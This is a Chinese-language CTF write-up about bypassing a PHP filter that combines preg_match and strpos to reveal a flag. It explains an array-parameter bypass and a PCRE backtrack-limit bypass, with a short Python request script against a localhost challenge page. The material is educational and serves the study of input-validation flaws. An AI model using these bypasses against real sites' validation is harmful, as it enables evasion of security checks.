1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!areyouok($greeting)){

if(strpos($greeting,'Merry Christmas')!==false){

echo 'Merry Christmas. '.'flag{xxxxxx}';

}else{

echo 'Do you know .swp file?';
}

}else{

echo 'Do you know PHP?';
}
?>

可以看到,我们需要输入greeting 参数,使得

1
preg_match('/Merry.*Christmas/is',$greeting)

返回的结果是false,然后使得strpos($greeting,'Merry Christmas') 返回值为非false,只要出现就是非false,包括出现在0下标,

php大部分函数无法处理数组,所以想到用数组绕过,当传入的参数为数组时,我把返回的值dump出来,发现preg_match()的返回值,就会是布尔类型的false。但是strpos()的返回值就会变成NULL,

img

当我们传入greeting[]=Merry Christmas时,preg_match就会出现错误,返回false

然后if(strpos($greeting,’Merry Christmas’)!==false) !==符号判断了false的类型

因为返回值为NULL所以,成功绕过两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){

if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{xxxxxx}';

}else{
echo 'Do you know .swp file?';
}

}else{
echo 'Do you know PHP?';
}
}
?>

加入一个is_array函数的判断,所以不能用数组绕过了,可以用回溯上限的方法去做

参考博客 离别歌  风雪之隅

简而言之,只要要匹配的字符大于1000 000 ,导致回溯计数大于100000, 从而导致匹配失败退出。

所以可以使用脚本

1
2
3
4
5
6
7
import requests

data = {"greeting":"Merry Christmas" + "aaaaa" * 1000000}

res = requests.post('http://localhost/test.php', data=data, allow_redirects=False)

print res.content

使得preg_match失效,而strpos可以正常使用。